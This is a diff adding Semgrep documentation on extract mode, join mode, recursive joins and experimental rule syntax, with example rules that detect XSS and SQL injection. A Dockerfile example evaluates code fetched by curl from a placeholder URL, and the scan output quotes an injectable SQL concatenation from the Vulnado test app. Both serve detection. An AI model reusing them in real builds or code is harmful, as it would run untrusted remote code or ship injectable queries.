+Likewise, if a query included a Dockerfile with an equivalent Bash command, Semgrep reports the contained Bash as matching against the `curl-eval` rule. See the following Dockerfile example that contains a Bash command:
+
+```dockerfile
+FROM fedora
+RUN dnf install -y unzip zip curl which
+RUN eval `curl -s "http://www.very-secure-website.net"`
+```
+
+### Extract mode rule schema
+
+Extract mode rules **require** the following [usual Semgrep rule keys](/writing-rules/rule-syntax/#required):
+ - `id`
+ - `languages`
+ - One of `pattern`, `patterns`, `pattern-either`, or `pattern-regex`
+
+Extract mode rules **also require** two additional fields:
+ - `extract`
+ - `dest-language`
+
+Extract mode has two **optional** fields:
+ - `reduce`
+ - `json`
+
+The fields specific to extract mode are further explained in the sections below.
+
+#### `extract`
+
+The `extract` key is required in extract mode. The value must be a metavariable appearing in your pattern(s). Semgrep uses the code bound to the metavariable for subsequent queries of non-extract mode rules targeting `dest-language`.
+
+#### `dest-language`
+
+The `dest-language` key is required in extract mode. The value must be a [language tag](/writing-rules/rule-syntax/#language-extensions-and-languages-key-values).
+
+#### `transform`
+
+The `transform` is an optional key in the extract mode. The value of this key specifies whether the extracted content is parsed as raw source code or as a JSON array.
+
+The value of `transform` key must be one of the following:
+
+`no_transform`
+Extract the matched content as raw source code. This is the default value.
+
+`concat_json_string_array`
+Extract the matched content as a JSON array. Each element of the array correspond to a line the resulting source code. This value is useful in extracting code from JSON formats such as Jupyter Notebooks.
+
+#### `reduce`
+
+The `reduce` key is optional in extract mode. The value of this key specifies a method to combine the ranges extracted by a single rule within a file.
+
+The value of `reduce` key must be one of the following:
+
+`separate`
+
+Treat all matched ranges as separate units for subsequent queries. This is the **default** value.
+
+`concat`
+Concatenate all matched ranges together and treat this result as a single unit for subsequent queries.
+
+### Limitations of extract mode
+
+Although extract mode supports JSON array decoding with the `json` key, it does not support other additional processing for the extracted text, such as unescaping strings.
+
+While extract mode can help to enable rules which try and track taint across a language boundary within a file, taint rules cannot have a source and sink split across the original file and extracted text.
+
+## Turbo Mode
+
+
+**NOTE**
+
+As of June 16th, 2025, Turbo Mode has been deprecated and removed from the Semgrep Playground.
+
+
+Turbo Mode was a feature in Semgrep Editor that automatically ran your rule against Semgrep Community Edition (CE) after every keystroke or change to the rule.
+
+
diff --git a/mintlify-docs/writing-rules/experiments/display-propagated-metavariable.mdx b/mintlify-docs/writing-rules/experiments/display-propagated-metavariable.mdx
new file mode 100644
index 0000000000..7ef5e49ed8
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/display-propagated-metavariable.mdx
@@ -0,0 +1,48 @@
+---
+title: "Display propagated value of metavariables"
+---
+
+This document provides information about experimental syntax supplement to [Display matched metavariables in rule messages](/writing-rules/pattern-syntax#display-matched-metavariables-in-rule-messages). Semgrep enables you to display values of matched metavariables in rule messages. However, in some cases, the matched value of the metavariable is not the real value you were looking for.
+
+See the following rule message and part of a Semgrep rule (formula):
+
+```yaml
+- message: >-
+ Creating a buffer using $X
+- patterns:
+ - pattern: byte[] buf = new byte[$X];
+ - metavariable-comparison:
+ metavariable: $X
+ comparison: $X < 2048
+```
+
+Testing code:
+
+```java
+int size = 512;
+byte[] buf = new byte[size];
+```
+
+Semgrep matches this code because it performs constant propagation. Therefore, Semgrep recognizes that the value of `size` is `512`. Consequently, Semgrep evaluates that the buffer size is less than `2048`. But what is the value of `$X`?
+
+If the rule message states `Creating a buffer using $X`, the resulting message output is not helpful in this particular case:
+
+```
+Creating a buffer using size
+```
+
+This is caused by the value of `$X` within the code, which is `size`. However, the underlying value of `size` is `512`. The goal of the rule message is to access this underlying value in our message.
+
+To retrieve the correct value in the case described above, use `value($X)` in the rule message (for example (`Creating a buffer using value($X)`). Semgrep replaces the `value($X)` with the underlying propagated value of the metavariable `$X` if it computes one (otherwise, Semgrep uses the matched value).
+
+
+**INFO**
+
+Regular Semgrep syntax for displaying matched metavariables in rule messages is for example `$X`. For specific propagated values, use experimental syntax `value($X)` instead. For more information about the standard syntax, see [Displaying matched metavariables in rule messages](/writing-rules/pattern-syntax#display-matched-metavariables-in-rule-messages).
+
+
+Run the following example in Semgrep Playground to see the message (click **Open in Editor**, and then **Run**, unroll the **1 Match** to see the message):
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/writing-rules/experiments/introduction.mdx b/mintlify-docs/writing-rules/experiments/introduction.mdx
new file mode 100644
index 0000000000..d62e5ec1ba
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/introduction.mdx
@@ -0,0 +1,9 @@
+---
+title: "Introduction to Semgrep experiments"
+sidebarTitle: "Introduction"
+---
+
+
+The experiments category documents experimental features and the way you can use them. In the future, as it is the nature of experiments, some of these experiments can become deprecated, and others can become generally available (GA), meaning that GA features are fully supported parts of Semgrep. If a feature is deprecated, its documentation is moved to the [Deprecated experiments](/writing-rules/experiments/deprecated-experiments) document. If a feature becomes GA, its docs are moved to a relevant category outside of the experiments section.
+
+Enjoy the experiments, tweak the code, and most importantly, share your thoughts! If you see any issues with the experimental features, please [file a bug](https://github.com/semgrep/semgrep/issues/new/choose).
diff --git a/mintlify-docs/writing-rules/experiments/join-mode/overview.mdx b/mintlify-docs/writing-rules/experiments/join-mode/overview.mdx
new file mode 100644
index 0000000000..7d34aacb17
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/join-mode/overview.mdx
@@ -0,0 +1,259 @@
+---
+title: "Join mode overview"
+description: "Join mode runs several Semgrep rules at once and only returns results if certain conditions on the results are met. Join mode is an experimental mode that lets you cross file boundaries, allowing you to write rules for whole code bases instead of individual files. As the name implies, this was inspired by join clauses in SQL queries."
+---
+
+Think of join mode like this: distinct Semgrep rules are used to gather information about a code base. Then, the conditions you define are used to select specific results from these rules, and the selected results are reported by Semgrep. You can join results on metavariable contents or on the result's file path.
+
+
+**INFO**
+
+You can also use cross-file (interfile) analysis. For more information, see [ Perform cross-file analysis](/semgrep-code/semgrep-pro-engine-intro). Cross-file analysis is preferred over join mode where either of the two are feasible. Neither is currently available in Semgrep Community Edition (CE).
+
+
+## Example
+
+Here’s an example join mode rule that detects a cross-site scripting (XSS) vulnerability with high precision.
+
+```yaml expandable
+rules:
+- id: flask-likely-xss
+ mode: join
+ join:
+ refs:
+ - rule: flask-user-input.yaml
+ as: user-input
+ - rule: unescaped-template-extension.yaml
+ as: unescaped-extensions
+ - rule: any-template-var.yaml
+ renames:
+ - from: '$...EXPR'
+ to: '$VAR'
+ as: template-vars
+ on:
+ - 'user-input.$VAR == unescaped-extensions.$VALUE'
+ - 'unescaped-extensions.$VAR == template-vars.$VAR'
+ - 'unescaped-extensions.$PATH > template-vars.path'
+ message: |
+ Detected a XSS vulnerability: '$VAR' is rendered
+ unsafely in '$PATH'.
+ severity: HIGH
+```
+
+Let's explore how this works. First, some background on the vulnerability. Second, we'll walk through the join mode rule.
+
+**Vulnerability background**
+
+In Flask, templates are only HTML-escaped if the [template file ends with the `.html` extension](https://flask.palletsprojects.com/en/2.0.x/templating/#jinja-setup). Therefore, detecting these two conditions present in a Flask application is a high indicator of
+
+1. User input directly enters a template without the `.html` extension
+2. The user input is directly rendered in the template
+
+**Join mode rule explanation**
+
+Now, let's turn these conditions into the join mode rule. We need to find three code patterns:
+
+1. User input
+2. Templates without the `.html` extension
+3. Variables rendered in a template
+
+We can write individual Semgrep rules for each of these code patterns.
+
+```yaml
+rules:
+- id: flask-user-input
+ languages: [python]
+ severity: LOW
+ message: $VAR
+ pattern: '$VAR = flask.request.$SOMETHING.get(...)'
+```
+
+```yaml
+rules:
+- id: unescaped-template-extension
+ message: |
+ Flask does not automatically escape Jinja templates unless they have
+ .html as an extension. This could lead to XSS attacks.
+ patterns:
+ - pattern: flask.render_template("$PATH", ..., $VAR=$VALUE, ...)
+ - metavariable-pattern:
+ metavariable: $PATH
+ language: generic
+ patterns:
+ - pattern-not-regex: .*\.html$
+ languages: [python]
+ severity: MEDIUM
+```
+
+```yaml
+rules:
+- id: any-template-var
+ languages: [generic]
+ severity: LOW
+ message: '$...EXPR'
+ pattern: '{{ $...EXPR }}'
+```
+
+Finally, we want to "join" the results from these together. Below are the join conditions, in plain language.
+
+1. The variable `$VAR` from `flask-user-input` has the same content as the value `$VALUE` from `unescaped-template-extension`
+2. The keyword argument `$VAR` from `unescaped-template-extension` has the same content as `$...EXPR` from `any-template-var`
+3. The template file name `$PATH` from `unescaped-template-extension` is a substring of the file path of a result from `any-template-var`
+
+We can translate these roughly into the following condition statements.
+
+```
+- 'user-input.$VAR == unescaped-extensions.$VALUE'
+- 'unescaped-extensions.$VAR == template-vars.$VAR'
+- 'unescaped-extensions.$PATH > template-vars.path'
+```
+
+Combining the three code pattern Semgrep rules and the three conditions gives us the join rule at the top of this section. This rule matches the code displayed below.
+
+
+
+
+
+
+
+```bash
+> semgrep -f flask-likely-xss.yaml
+running 1 rules...
+running 3 rules...
+ran 3 rules on 16 files: 14 findings
+matching...
+matching done.
+./templates/launch.htm.j2
+severity:error rule:flask-likely-xss: Detected a XSS vulnerability: '$VAR' is rendered unsafely in '$PATH'.
+9:
person_name_full is {{ person_name_full }}
+```
+
+**Helpers**
+
+For convenience, when writing a join mode rule, you can use the `renames` and `as` keys.
+
+The `renames` key lets you rename metavariables from one rule to something else in your conditions. **This is necessary for named expressions, e.g., `$...EXPR`.**
+
+The `as` key behaves similarly to `AS` clauses in SQL. This lets you rename the result set for use in the conditions. If the `as` key is not specified, the result set uses the **rule ID**.
+
+## Syntax
+
+### `join`
+
+The `join` key is required when in join mode. This is just a top-level key that groups the join rule parts together.
+
+#### Inline rule example
+
+The following rule attempts to detect cross-site scripting in a Flask application by checking whether a template variable is rendered unsafely through Python code.
+
+```yaml expandable
+rules:
+- id: flask-likely-xss
+ mode: join
+ join:
+ rules:
+ - id: user-input
+ pattern: |
+ $VAR = flask.request.$SOMETHING.get(...)
+ languages: [python]
+ - id: unescaped-extensions
+ languages: [python]
+ patterns:
+ - pattern: |
+ flask.render_template("$TEMPLATE", ..., $KWARG=$VAR, ...)
+ - metavariable-pattern:
+ metavariable: $TEMPLATE
+ language: generic
+ patterns:
+ - pattern-not-regex: .*\.html$
+ - id: template-vars
+ languages: [generic]
+ pattern: |
+ {{ $VAR }}
+ on:
+ - 'user-input.$VAR == unescaped-extensions.$VAR'
+ - 'unescaped-extensions.$KWARG == template-vars.$VAR'
+ - 'unescaped-extensions.$TEMPLATE < template-vars.path'
+ message: |
+ Detected a XSS vulnerability: '$VAR' is rendered
+ unsafely in '$TEMPLATE'.
+ severity: HIGH
+```
+
+The required fields under the `rules` key are the following:
+- `id`
+- `languages`
+- A set of `pattern` clauses.
+
+The optional fields under the `rules` key are the following:
+- `message`
+- `severity`
+
+
+**NOTE**
+
+Refer to the metavariables captured by the rule in the `on` conditions by the rule `id`. For inline rules, aliases do **not** work.
+
+
+### `refs`
+
+Short for references, `refs` is a list of external rules that make up your code patterns. Each entry in `refs` is an object with the required key `rule` and optional keys `renames` and `as`.
+
+### `rule`
+
+Used with `refs`, `rule` points to an external rule location to use in this join rule. Even though Semgrep rule files can typically contain multiple rules under the `rules` key, join mode **only uses the first rule in the provided file**.
+
+Anything that works with `semgrep --config ` also works as the value for `rule`.
+
+### `renames`
+
+An optional key for an object in `refs`, `renames` renames the metavariables from the associated `rule`. The value of `renames` is a list of objects whose keys are `from` and `to`. The `from` key specifies the metavariable to rename, and the `to` key specifies the new name of the metavariable.
+
+
+**WARNING**
+
+Renaming is necessary for named expressions, e.g., `$...EXPR`.
+
+
+### `as`
+
+An optional key for an object in `refs`, `as` lets you specify an alias for the results collected by this rule for use in the `on` conditions. Without the `as` key, the default name for the results collected by this rule is the rule ID of the rule in `rule`. If you use `as`, the results can be referenced using the alias specified by `as`.
+
+### `on`
+
+The `on` key is required in join mode. This is where the join conditions are listed. The value of `on` is a list of strings which have the format:
+
+```
+..
+```
+
+`result_set` is the name of the result set produced by one of the `refs`. See the `as` key for more information.
+
+`property` is either a metavariable, such as `$VAR`, or the keyword `path`, which returns the path of the finding.
+
+`operator` is one of the following.
+
+| Operator | Example | Description |
+| -------- | ------- | ----------- |
+| `==` | `secret-env-var.$VALUE == log-statement.$FORMATVAR` | Matches when the contents of both sides are exactly equal. |
+| `!=` | `url-allowlist.$URL != get-request.$URL` | Matches when the contents of both sides are not equal. |
+| `<` | `template-var.path < unsafe-template.$PATH` | Matches when the right-hand side is a substring of the left-hand side.
+| `>` | `unsafe-template.$PATH > template-var.path` | Matches when the left-hand side is a substring of the right-hand side. |
+
+## Limitations
+
+Join mode **is not taint mode**! While it can look on the surface like join mode is "connecting" things together, it is actually just creating sets for each Semgrep rule and returning all the results that meet the conditions. This means some false positives will occur if unrelated metavariable contents happen to have the same value.
+
+To use join mode with `refs`, you must define your individual Semgrep rules in independent locations. This can be anything that works with `semgrep --config `, such as a file, a URL, or a Semgrep registry pointer like `r/java.lang.security.some.rule.id`.
+
+Join mode requires login, and does not work in the Semgrep Playground or Semgrep Editor, as it is an experimental feature.
+
+Currently, join mode only reports the code location of the **last finding that matches the conditions**. Join mode parses the conditions from top-to-bottom, left-to-right. This means that findings from the "bottom-right" condition become the reported code location.
+
+## More ideas
+
+Join mode effectively lets you ask questions of entire code bases. Here are some examples of the kinds of questions you can use join mode to answer.
+
+- Do any of my dependencies use `dangerouslySetInnerHTML`, and do I directly import that dependency?
+- Does a key in this JSON file have a dangerous value, and do I load this JSON file and use the key in a dangerous function?
+- Is an unsafe variable rendered in an HTML template?
diff --git a/mintlify-docs/writing-rules/experiments/join-mode/recursive-joins.mdx b/mintlify-docs/writing-rules/experiments/join-mode/recursive-joins.mdx
new file mode 100644
index 0000000000..f26ea99710
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/join-mode/recursive-joins.mdx
@@ -0,0 +1,224 @@
+---
+title: "Recursive joins"
+---
+
+Join mode is an extension of Semgrep that runs multiple rules at once and only returns results if certain conditions are met. This is an experimental mode that enables you to cross file boundaries, allowing you to write rules for whole codebases instead of individual files. More information is available in [Join mode overview](/writing-rules/experiments/join-mode/overview).
+
+Recursive join mode has a recursive operator, `-->`, which executes a recursive query on the given condition. This recursive operator allows you to write a Semgrep rule that effectively crawls the codebase on a condition you specify, letting you build chains such as function call chains or class inheritance chains.
+
+## Understanding recursive join mode
+
+In the background, join rules turn captured metavariables into database table columns. For example, a rule with `$FUNCTIONNAME`, `$FUNCTIONCALLED`, and `$PARAMETER` is a table similar to the following:
+
+| `$FUNCTIONNAME` | `$FUNCTIONCALLED` | `$PARAMETER` |
+|---------------|-----------------|--------------|
+| getName | writeOutput | user |
+| getName | lookupUser | uid |
+| lookupUser | databaseQuery | uid |
+
+The join conditions then join various tables together and return a result if any rows match the criteria.
+
+Recursive join mode conditions use [recursive joins](https://www.sqlite.org/lang_with.html#recursive_common_table_expressions) to construct a table that recursively joins with itself. For example, you can use a Semgrep rule that gets all function calls and join them recursively to approximate a callgraph.
+
+Consider the following Python script and rule.
+
+```python
+def function_1():
+ print("hello")
+ function_2()
+
+def function_2():
+ function_4()
+
+def function_3():
+ function_5()
+
+def function_4():
+ function_5()
+
+def function_5():
+ print("goodbye")
+```
+
+```yaml
+rules:
+- id: python-callgraph
+ message: python callgraph
+ languages: [python]
+ severity: LOW
+ pattern: |
+ def $CALLER(...):
+ ...
+ $CALLEE(...)
+```
+
+A join condition such as the following: `python-callgraph.$CALLER --> python-callgraph.$CALLEE` produces a table below. Notice how `function_1` appears with `function_4` and `function_5` as callees, even though it is not directly called.
+
+| `$CALLER` | `$CALLEE` |
+|----------|----------|
+|function_1|function_2|
+|function_1|function_4|
+|function_1|function_5|
+|function_1|print |
+|function_2|function_4|
+|function_2|function_5|
+|function_3|function_5|
+|function_4|function_5|
+|function_5|print |
+
+## Example rule
+
+It's important to think of a join mode rule as "asking questions about the whole project", rather than looking for a single pattern. For example, to find an SQL injection, you need to understand a few things about the project:
+
+1. Is there any user input?
+1. Do any functions manually build an SQL string using function input?
+1. Can the user input reach the function that manually builds the SQL string?
+
+Now, you can write individual Semgrep rules that gather information about each of these questions. This example uses [Vulnado](https://github.com/ScaleSec/vulnado) for finding an SQL injection. Vulnado is a Spring application.
+
+The first rule searches for user input into the Spring application. This rule also captures sinks that use a user-inputtable parameter as an argument.
+
+```yaml
+rules:
+- id: java-spring-user-input
+ message: user input
+ languages: [java]
+ severity: LOW
+ mode: taint
+ pattern-sources:
+ - pattern: |
+ @RequestMapping(...)
+ $RETURNTYPE $USERINPUTMETHOD(..., $TYPE $PARAMETER, ...) {
+ ...
+ }
+ pattern-sinks:
+ - patterns:
+ - pattern: $OBJ.$SINK(...)
+ - pattern: $PARAMETER
+```
+
+A second rule looks for all methods in the application that build an SQL string with a method parameter.
+
+```yaml
+rules:
+- id: method-parameter-formatted-sql
+ message: method uses parameter for sql string
+ languages: [java]
+ severity: LOW
+ patterns:
+ - pattern-inside: |
+ $RETURNTYPE $METHODNAME(..., $TYPE $PARAMETER, ...) {
+ ...
+ }
+ - patterns:
+ - pattern-either:
+ - pattern: |
+ "$SQLSTATEMENT" + $PARAMETER
+ - pattern: |
+ String.format("$SQLSTATEMENT", ..., $PARAMETER, ...)
+ - metavariable-regex:
+ metavariable: $SQLSTATEMENT
+ regex: (?i)(select|delete|insert).*
+```
+
+Finally, the third rule is used to construct a pseudo-callgraph:
+
+```yaml
+rules:
+- id: java-callgraph
+ languages: [java]
+ severity: LOW
+ message: $CALLER calls $OBJ.$CALLEE
+ patterns:
+ - pattern-inside: |
+ $TYPE $CALLER(...) {
+ ...
+ }
+ - pattern: $OBJ.$CALLEE(...)
+```
+
+The join rule, is displayed as follows:
+
+```yaml
+rules:
+- id: spring-sql-injection
+ message: SQLi
+ severity: HIGH
+ mode: join
+ join:
+ refs:
+ - rule: rule_parts/java-spring-user-input.yaml
+ as: user-input
+ - rule: rule_parts/method-parameter-formatted-sql.yaml
+ as: formatted-sql
+ - rule: rule_parts/java-callgraph.yaml
+ as: callgraph
+ on:
+ - 'callgraph.$CALLER --> callgraph.$CALLEE'
+ - 'user-input.$SINK == callgraph.$CALLER'
+ - 'callgraph.$CALLEE == formatted-sql.$METHODNAME'
+```
+
+The `on:` conditions, in order, read as follows:
+- Recursively generate a pseudo callgraph on `$CALLER` to `$CALLEE`.
+- Match when a method with user input has a `$SINK` that is the `$CALLER` in the pseudo-callgraph.
+- Match when the `$CALLEE` is the `$METHODNAME` of a method that uses a parameter to construct an SQL string.
+
+Running this on Vulnado produces tables that look like this:
+
+|`$RETURNTYPE` |`$USERINPUTMETHOD` |`$TYPE` |`$PARAMETER` |`$OBJ` |`$SINK` |
+|------------|-----------------|-----------|------------|---------|------------|
+|... |... |... | ... |... |... |
+|LoginResponse|login |LoginRequest|input |user |token |
+|LoginResponse|login |LoginRequest|input |User |getUser |
+|... |... |... | ... |... |... |
+
+
+|`$RETURNTYPE` |`$METHODNAME` |`$TYPE` |`$PARAMETER` |`$SQLSTATEMENT` |
+|------------|------------|-----------|------------|--------------|
+|... |... |... | ... |... |
+|User |fetch |String |un |select * from users where username = '|
+|... |... |... | ... |... |
+
+|`$CALLER` |`$CALLEE` |
+|-----------|-----------|
+|... |... |
+|login |getUser |
+|login |fetch |
+|getUser |fetch |
+|... |... |
+
+The join conditions select rows which meet the conditions.
+
+- Match when a method with user input has a $SINK that is the $CALLER in the pseudo-callgraph.
+
+|... |`user-input.$SINK` |== |`callgraph.$CALLER` |... |
+|----|---------|---|----------|----|
+|... |getUser |== |getUser |... |
+
+- Match when the $CALLEE is the $METHODNAME of a method that uses a parameter to construct an SQL string.
+
+|...|`callgraph.$CALLEE` |== |`formatted-sql.$METHODNAME`|...|
+|---|---------|---|-----------|---|
+|...|fetch |== |fetch |...|
+
+```console
+(semgrep) ➜ join_mode_demo semgrep -f vulnado-sqli.yaml vulnado
+Running 1 rules...
+Running 3 rules...
+100%|██████████████████████████|3/3
+ran 3 rules on 11 files: 158 findings
+vulnado/src/main/java/com/scalesec/vulnado/User.java
+rule:spring-sql-injection: SQLi
+55: String query = "select * from users where username = '" + un + "' limit 1";
+ran 0 rules on 0 files: 1 findings
+```
+
+## Limitations
+
+Join mode only works on the metavariable contents, which means it's fundamentally operating with text strings and not code constructs. There will be some false positives if similarly-named metavariables are extracted.
+
+## Use cases
+
+- Approximating callgraphs in a project
+- Approximating class inheritance
diff --git a/mintlify-docs/writing-rules/experiments/metavariable-type.mdx b/mintlify-docs/writing-rules/experiments/metavariable-type.mdx
new file mode 100644
index 0000000000..06f099d0e6
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/metavariable-type.mdx
@@ -0,0 +1,55 @@
+---
+title: "Match captured metavariables with specific types"
+---
+
+The `metavariable-type` operator is used to compare metavariables against their types. It utilizes the `type` key to specify the string representation of the type expression in the target language. For example, you can use `String` for Java's String type and `string` for Go's string type. Optionally, the `language` key can be used to manually indicate the target language of the type expression.
+
+`metavariable-type` provides several advantages over typed metavariables. Firstly, it removes the requirement for users to memorize special syntax for defining typed metavariables in various target languages. Moreover, `metavariable-type` enables users to extract type expressions from the pattern expression and include them in other conditional filters for metavariables. This improves the readability of rules and promotes better organization of the code.
+
+For instance, the following rule that identifies potentially unsafe usage of the referential equality operator when comparing String objects in Java:
+```yaml
+rules:
+ - id: no-string-eqeq
+ severity: MEDIUM
+ message: Avoid using the referential equality operator when comparing String objects
+ languages:
+ - java
+ patterns:
+ - pattern-not: null == (String $Y)
+ - pattern: $X == (String $Y)
+```
+
+can be modified to the following rule:
+```yaml
+rules:
+ - id: no-string-eqeq
+ severity: MEDIUM
+ message: Avoid using the referential equality operator when comparing String objects
+ languages:
+ - java
+ patterns:
+ - pattern-not: null == $Y
+ - pattern: $X == $Y
+ - metavariable-type:
+ metavariable: $Y
+ type: String
+```
+
+## Supported languages
+
+The `metavariable-type` operator can be used for the following languages:
+
+- C
+- C#
+- C++
+- Go
+- Java
+- Julia
+- Kotlin
+- Move On Aptos
+- Move On Sui
+- PHP
+- Python
+- Rust
+- Scala
+- TypeScript
diff --git a/mintlify-docs/writing-rules/experiments/multiple-focus-metavariables.mdx b/mintlify-docs/writing-rules/experiments/multiple-focus-metavariables.mdx
new file mode 100644
index 0000000000..4b63dea654
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/multiple-focus-metavariables.mdx
@@ -0,0 +1,42 @@
+---
+title: "Include multiple focus metavariables using set union semantics"
+description: "Semgrep matches all pieces of code captured by focus metavariables when you specify them in a rule. Specify the metavariables you want to focus on in a YAML list format."
+---
+
+
+**INFO**
+
+This feature is using `focus-metavariable`, see [`focus-metavariable`](/writing-rules/rule-syntax/#focus-metavariable) documentation for more information.
+
+
+There are two ways in which you can include multiple focus metavariables:
+
+- **Set union**: Experimental feature described below in the section [Set union](#set-union). This feature returns the union of all matches of the specified metavariables.
+- **Set intersection**: Only matches the overlapping region of all the focused code. For more information, see [Including more focus metavariables using set intersection semantics](/writing-rules/rule-syntax/#including-multiple-focus-metavariables-using-set-intersection-semantics).
+
+## Set union
+
+For example, there is a pattern that binds several metavariables. You want to produce matches focused on two or more of these metavariables. If you specify a list of metavariables under `focus-metavariable`, each focused metavariable matches code independently of the others.
+
+```yaml
+ patterns:
+ - pattern: foo($X, ..., $Y)
+ - focus-metavariable:
+ - $X
+ - $Y
+```
+
+This syntax enables Semgrep to match these metavariables regardless of their position in code. See the following example:
+
+
+
+
+
+
+**TIP**
+
+Among many use cases, the **set union** syntax allows you to simplify taint analysis rule writing. For example, see the following rule:
+
+
+
+
diff --git a/mintlify-docs/writing-rules/experiments/pattern-syntax.mdx b/mintlify-docs/writing-rules/experiments/pattern-syntax.mdx
new file mode 100644
index 0000000000..daab3288b9
--- /dev/null
+++ b/mintlify-docs/writing-rules/experiments/pattern-syntax.mdx
@@ -0,0 +1,292 @@
+---
+title: "Pattern syntax (experimental)"
+---
+
+Patterns are the expressions Semgrep uses to match code when it scans for vulnerabilities. This article describes the new syntax for Semgrep pattern operators. See [Pattern syntax](/writing-rules/pattern-syntax) for information on the existing pattern syntax.
+
+There is often a one-to-one translation from the existing syntax to the experimental syntax. These changes are marked with . However, some changes are quite different. These changes are marked with
+
+
+**WARNING**
+
+* These patterns are **experimental** and subject to change.
+* You can't mix and match existing pattern syntax with the experimental syntax.
+
+
+## `pattern`
+
+The `pattern` operator looks for code matching its expression in the existing syntax. However, `pattern` is no longer required when using the experimental syntax. For example, you can use `...` wherever `pattern: "...``` appears. For example, you can omit `pattern` and write the following:
+
+```yaml
+any:
+ - "badthing1"
+ - "badthing2"
+ - "badthing3"
+```
+
+or, for multi-line patterns
+
+```yaml
+any:
+ - |
+ manylines(
+ badthinghere($A)
+ )
+ - |
+ orshort()
+```
+
+You don't need double quotes for a single-line pattern when omitting the `pattern` key, but note that this can cause YAML parsing issues.
+
+As an example, the following YAML parses:
+
+```yaml
+any:
+ - "def foo(): ..."
+```
+
+This, however, causes problems since `:` is also used to denote a YAML dictionary:
+
+```yaml
+any:
+ - def foo(): ...
+```
+
+### `any`
+
+Replaces [pattern-either](/writing-rules/rule-syntax/#pattern-either). Matches any of the patterns specified.
+
+```yaml
+any:
+ -
+ -
+ ...
+ -
+```
+
+### `all`
+
+Replaces [patterns](/writing-rules/rule-syntax/#patterns). Matches all of the patterns specified.
+
+```yaml
+all:
+ -
+ -
+ ...
+ -
+```
+
+### `inside`
+
+Replaces [pattern-inside](/writing-rules/rule-syntax/#pattern-inside). Match any of the sub-patterns inside the primary pattern.
+
+```yaml
+inside:
+ any:
+ -
+ -
+```
+
+Alternatively:
+
+```yaml
+any:
+ - inside:
+ - inside:
+```
+
+### `not`
+
+Replaces [pattern-not](/writing-rules/rule-syntax/#pattern-not). Accepts any pattern and does **not** match on those patterns.
+
+```yaml
+not:
+ any:
+ -
+ -
+```
+
+Alternatively:
+
+```yaml
+all:
+ - not:
+ - not:
+```
+
+### `regex`
+
+Replaces [pattern-regex](/writing-rules/rule-syntax/#pattern-regex). Matches based on the regex provided.
+
+```yaml
+regex: "(.*)"
+```
+
+## Metavariables
+
+Metavariables are an abstraction to match code when you don't know the value or contents beforehand. They're similar to [capture groups](https://regexone.com/lesson/capturing_groups) in regular expressions and can track values across a specific code scope. This
+includes variables, functions, arguments, classes, object methods, imports,
+exceptions, and more.
+
+Metavariables begin with a `$` and can only contain uppercase characters, `_`, or digits. Names like `$x` or `$some_value` are invalid. Examples of valid metavariables include `$X`, `$WIDGET`, or `$USERS_2`.
+
+### `where`
+
+Unlike Semgrep's existing pattern syntax, the following operators no longer occur under `pattern` or `all`:
+
+- `metavariable-pattern`
+- `metavariable-regex`
+- `metavariable-comparison`
+- `metavariable-analysis`
+- `focus-metavariable`
+
+These operators must occur within a `where` clause.
+
+A `where` clause is required in a pattern where you're using metavariable operators. It indicates that Semgrep should match based on the pattern if all the conditions are proper.
+
+As an example, take a look at the following:
+
+```yaml
+all:
+ - inside: |
+ def $FUNC(...):
+ ...
+ - |
+ eval($X)
+where:
+ -
+```
+
+Because the `where` clause is on the same indentation level as `all`, Semgrep understands that everything under `where` must be paired with the entire `all` pattern. As such, the results of the ranges matched by the `all` pattern are modified by the `where` pattern, and the output includes some final set of ranges that are matched.
+
+### `metavariable`
+
+Replaces:
+
+- [metavariable-regex](/writing-rules/rule-syntax/#metavariable-regex)
+- [metavariable-pattern](/writing-rules/rule-syntax/#metavariable-pattern)
+- [metavariable-analysis](/writing-rules/metavariable-analysis)
+
+This operator looks inside the metavariable for a match.
+
+```yaml
+...
+where:
+ - metavariable: $A
+ regex: "(.*)
+ - metavariable: $B
+ patterns: |
+ - "foo($C)"
+ - metavariable: $D
+ analyzer: entropy
+```
+
+### `comparison`
+
+Replaces [metavariable-comparison](/writing-rules/rule-syntax/#metavariable-comparison). Compares metavariables against a basic [Python comparison](https://docs.python.org/3/reference/expressions.html#comparisons) expression.
+
+```yaml
+...
+where:
+ - comparison: $A == $B
+```
+
+### `focus`
+
+Replaces [focus-metavariable](/writing-rules/rule-syntax/#focus-metavariable). Puts focus on the code region matched by a single metavariable or a list of metavariables.
+
+```yaml
+...
+where:
+ - focus: $A
+```
+
+## `as-metavariable`
+
+> `as-metavariable` is only available in the new syntax.
+
+`as-metavariable` is a rule-writing feature that bridges the gap between metavariables and matches. Metavariables gain access to features like `metavariable-comparison`, `metavariable-regex`, and `metavariable-pattern`, but they cannot be used on arbitrary matches. However, the `as` operator lets you embed arbitrary matches into metavariables or bind arbitrary matches to a name.
+
+The syntax is as follows:
+
+```yaml
+all:
+ - pattern: |
+ @decorator
+ def $FUNC(...):
+ ...
+ as: $DECORATED_FUNC
+```
+
+Since `as` appears in the same indentation as the `pattern`, Semgrep couples the two. This augmented `pattern` operator matches the enclosed pattern, but produces an environment where `$DECORATED_FUNC` is bound to the match it corresponds to. So, for instance, the following rule:
+
+```yaml
+match:
+ pattern: |
+ @decorator
+ def $FUNC(...):
+ ...
+ as: $DECORATED_FUNC
+fix: |
+ @another_decorator
+ $DECORATED_FUNC
+```
+
+Allows you to capture the decorated function. You can then use it in, for example, Rule-defined fix's metavariable or metavariable ellipses interpolation, where you express something like "rewrite X, but with Y."
+
+## Syntax search mode
+
+New syntax search mode rules must be nested underneath a top-level `match` key. For example:
+
+```yaml
+rules:
+ - id: find-bad-stuff
+ severity: HIGH
+ languages: [python]
+ message: |
+ Don't put bad stuff!
+ match:
+ any:
+ - |
+ eval(input())
+ - all:
+ - inside: |
+ def $FUNC(..., $X, ...):
+ ...
+ - |
+ eval($X)
+```
+
+## Taint mode
+
+The new syntax supports taint mode, and such roles no longer require `mode: taint` in the rule. Instead, everything must be nested under a top-level `taint` key.
+
+```yaml
+rules:
+ - id: find-bad-stuff
+ severity: HIGH
+ languages: [python]
+ message: |
+ Don't put bad stuff!
+ taint:
+ sources:
+ - input()
+ sinks:
+ - eval(...)
